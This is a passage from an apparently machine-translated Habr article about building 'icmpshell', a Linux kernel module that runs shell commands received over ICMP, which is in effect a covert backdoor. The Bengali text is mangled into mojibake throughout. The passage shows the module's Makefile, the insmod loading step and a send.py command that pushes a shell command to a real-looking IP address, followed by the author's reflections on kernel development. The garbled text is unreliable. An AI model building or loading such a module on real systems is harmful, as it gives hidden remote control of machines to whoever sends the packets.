āĻŦāĻā§āĻā§āĻ āĻĢāĻžāĻāĻ˛ āĻ¨āĻŋāĻ°ā§āĻĻā§āĻļ āĻāĻ°ā§āĨ¤ āĻ¸āĻŋāĻ¨āĻā§āĻ¯āĻžāĻā§āĻ¸ āĻ¯ā§ āĻ°āĻŋāĻŽā§āĻ main.o
в icmpshell.o
(icmpshell-objs = main.o
) āĻāĻŽāĻžāĻ° āĻāĻžāĻā§ āĻā§āĻŦ āĻ¯ā§āĻā§āĻ¤āĻŋāĻ āĻŽāĻ¨ā§ āĻšāĻā§āĻā§ āĻ¨āĻž, āĻāĻŋāĻ¨ā§āĻ¤ā§ āĻ¤āĻžāĻ āĻšā§āĻāĨ¤
KERNELDIR:=/lib/modules/$(shell uname -r)/build
obj-m = icmpshell.o
icmpshell-objs = main.o
all: icmpshell.ko
icmpshell.ko: main.c
make -C $(KERNELDIR) M=$(PWD) modules
clean:
make -C $(KERNELDIR) M=$(PWD) clean
āĻāĻŽāĻ°āĻž āĻ¸āĻāĻā§āĻ°āĻš āĻāĻ°āĻŋ: make
. āĻ˛ā§āĻĄ āĻšāĻā§āĻā§: insmod icmpshell.ko
. āĻ¸āĻŽā§āĻĒāĻ¨ā§āĻ¨, āĻāĻĒāĻ¨āĻŋ āĻā§āĻ āĻāĻ°āĻ¤ā§ āĻĒāĻžāĻ°ā§āĻ¨: sudo ./send.py 45.11.26.232 "date > /tmp/test"
. āĻ¯āĻĻāĻŋ āĻāĻĒāĻ¨āĻžāĻ° āĻŽā§āĻļāĻŋāĻ¨ā§ āĻāĻāĻāĻŋ āĻĢāĻžāĻāĻ˛ āĻĨāĻžāĻā§ /tmp/test
āĻāĻŦāĻ āĻāĻ¤ā§ āĻ
āĻ¨ā§āĻ°ā§āĻ§ āĻĒāĻžāĻ āĻžāĻ¨ā§āĻ° āĻ¤āĻžāĻ°āĻŋāĻ āĻ°āĻ¯āĻŧā§āĻā§, āĻ¯āĻžāĻ° āĻŽāĻžāĻ¨ā§ āĻāĻĒāĻ¨āĻŋ āĻ¸āĻŦāĻāĻŋāĻā§ āĻ āĻŋāĻāĻ āĻžāĻ āĻāĻ°ā§āĻā§āĻ¨ āĻāĻŦāĻ āĻāĻŽāĻŋ āĻ¸āĻŦāĻāĻŋāĻā§ āĻ āĻŋāĻāĻ āĻžāĻ āĻāĻ°ā§āĻāĻŋāĨ¤
āĻāĻĒāĻ¸āĻāĻšāĻžāĻ°
āĻĒāĻžāĻ°āĻŽāĻžāĻŖāĻŦāĻŋāĻ āĻāĻ¨ā§āĻ¨āĻ¯āĻŧāĻ¨ā§āĻ° āĻ¸āĻžāĻĨā§ āĻāĻŽāĻžāĻ° āĻĒā§āĻ°āĻĨāĻŽ āĻ
āĻāĻŋāĻā§āĻāĻ¤āĻž āĻāĻŽāĻžāĻ° āĻĒā§āĻ°āĻ¤ā§āĻ¯āĻžāĻļāĻžāĻ° āĻā§āĻ¯āĻŧā§ āĻ
āĻ¨ā§āĻ āĻ¸āĻšāĻ āĻāĻŋāĻ˛āĨ¤ āĻāĻŽāĻ¨āĻāĻŋ āĻ¸āĻŋ-āĻ¤ā§ āĻŦāĻŋāĻāĻžāĻļā§āĻ° āĻ
āĻāĻŋāĻā§āĻāĻ¤āĻž āĻāĻžāĻĄāĻŧāĻžāĻ, āĻāĻŽā§āĻĒāĻžāĻāĻ˛āĻžāĻ° āĻāĻā§āĻāĻŋāĻ¤ āĻāĻŦāĻ Google āĻĢāĻ˛āĻžāĻĢāĻ˛āĻā§āĻ˛āĻŋāĻ¤ā§ āĻĢā§āĻāĻžāĻ¸ āĻāĻ°ā§, āĻāĻŽāĻŋ āĻāĻāĻāĻŋ āĻāĻžāĻ°ā§āĻ¯āĻāĻ°ā§ āĻŽāĻĄāĻŋāĻāĻ˛ āĻ˛āĻŋāĻāĻ¤ā§ āĻ¸āĻā§āĻˇāĻŽ āĻšāĻ¯āĻŧā§āĻāĻŋ āĻāĻŦāĻ āĻāĻāĻāĻ¨ āĻāĻžāĻ°ā§āĻ¨ā§āĻ˛ āĻšā§āĻ¯āĻžāĻāĻžāĻ°ā§āĻ° āĻŽāĻ¤ā§ āĻ
āĻ¨ā§āĻāĻŦ āĻāĻ°āĻ¤ā§ āĻĒā§āĻ°ā§āĻāĻŋ āĻāĻŦāĻ āĻāĻāĻ āĻ¸āĻžāĻĨā§ āĻāĻāĻāĻŋ āĻ¸ā§āĻā§āĻ°āĻŋāĻĒā§āĻ āĻāĻŋāĻĄāĻŋāĨ¤ āĻāĻĒāĻ°āĻ¨ā§āĻ¤ā§, āĻāĻŽāĻŋ Kernel Newbies āĻā§āĻ¯āĻžāĻ¨ā§āĻ˛ā§ āĻāĻŋāĻ¯āĻŧā§āĻāĻŋāĻ˛āĻžāĻŽ, āĻ¯ā§āĻāĻžāĻ¨ā§ āĻāĻŽāĻžāĻā§ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻāĻ°āĻ¤ā§ āĻŦāĻ˛āĻž āĻšāĻ¯āĻŧā§āĻāĻŋāĻ˛ schedule_work()
āĻāĻ˛ āĻāĻ°āĻžāĻ° āĻĒāĻ°āĻŋāĻŦāĻ°ā§āĻ¤ā§ call_usermodehelper()
āĻšā§āĻ āĻ¨āĻŋāĻā§āĻ āĻāĻŋāĻ¤āĻ°ā§ āĻāĻŦāĻ āĻ¤āĻžāĻā§ āĻ˛āĻā§āĻāĻŋāĻ¤, āĻ¸āĻ āĻŋāĻāĻāĻžāĻŦā§ āĻāĻāĻāĻŋ āĻā§āĻ˛ā§āĻā§āĻāĻžāĻ°ā§ āĻ¸āĻ¨ā§āĻĻā§āĻš. āĻā§āĻĄā§āĻ° āĻāĻāĻļ āĻ˛āĻžāĻāĻ¨ā§āĻ° āĻāĻ¨ā§āĻ¯ āĻāĻŽāĻžāĻ° āĻ
āĻŦāĻ¸āĻ° āĻ¸āĻŽāĻ¯āĻŧā§ āĻĒā§āĻ°āĻžāĻ¯āĻŧ āĻāĻ āĻ¸āĻĒā§āĻ¤āĻžāĻšā§āĻ° āĻāĻ¨ā§āĻ¨āĻ¯āĻŧāĻ¨ āĻāĻ°āĻ āĻšāĻ¯āĻŧāĨ¤ āĻāĻāĻāĻŋ āĻ¸āĻĢāĻ˛ āĻ
āĻāĻŋāĻā§āĻāĻ¤āĻž āĻ¯āĻž āĻ¸āĻŋāĻ¸ā§āĻā§āĻŽā§āĻ° āĻŦāĻŋāĻāĻžāĻļā§āĻ° āĻ
āĻĒā§āĻ°āĻ¤āĻŋāĻ°ā§āĻ§ā§āĻ¯ āĻāĻāĻŋāĻ˛āĻ¤āĻž āĻ¸āĻŽā§āĻĒāĻ°ā§āĻā§ āĻāĻŽāĻžāĻ° āĻŦā§āĻ¯āĻā§āĻ¤āĻŋāĻāĻ¤ āĻŽāĻŋāĻĨāĻā§ āĻ§ā§āĻŦāĻāĻ¸ āĻāĻ°ā§āĻā§āĨ¤
āĻ¯āĻĻāĻŋ āĻā§āĻ Github āĻ āĻāĻāĻāĻŋ āĻā§āĻĄ āĻĒāĻ°ā§āĻ¯āĻžāĻ˛ā§āĻāĻ¨āĻž āĻāĻ°āĻ¤ā§ āĻ¸āĻŽā§āĻŽāĻ¤ āĻšāĻ¨, āĻāĻŽāĻŋ āĻā§āĻ¤āĻā§āĻ āĻĨāĻžāĻāĻŦāĨ¤ āĻāĻŽāĻŋ āĻ¨āĻŋāĻļā§āĻāĻŋāĻ¤ āĻ¯ā§ āĻāĻŽāĻŋ āĻ āĻ¨ā§āĻ āĻŦā§āĻāĻž āĻā§āĻ˛ āĻāĻ°ā§āĻāĻŋ, āĻŦāĻŋāĻļā§āĻˇ āĻāĻ°ā§ āĻ¯āĻāĻ¨ āĻ¸ā§āĻā§āĻ°āĻŋāĻāĻā§āĻ˛āĻŋāĻ° āĻ¸āĻžāĻĨā§ āĻāĻžāĻ āĻāĻ°āĻāĻŋāĨ¤
āĻāĻ¤ā§āĻ¸: www.habr.com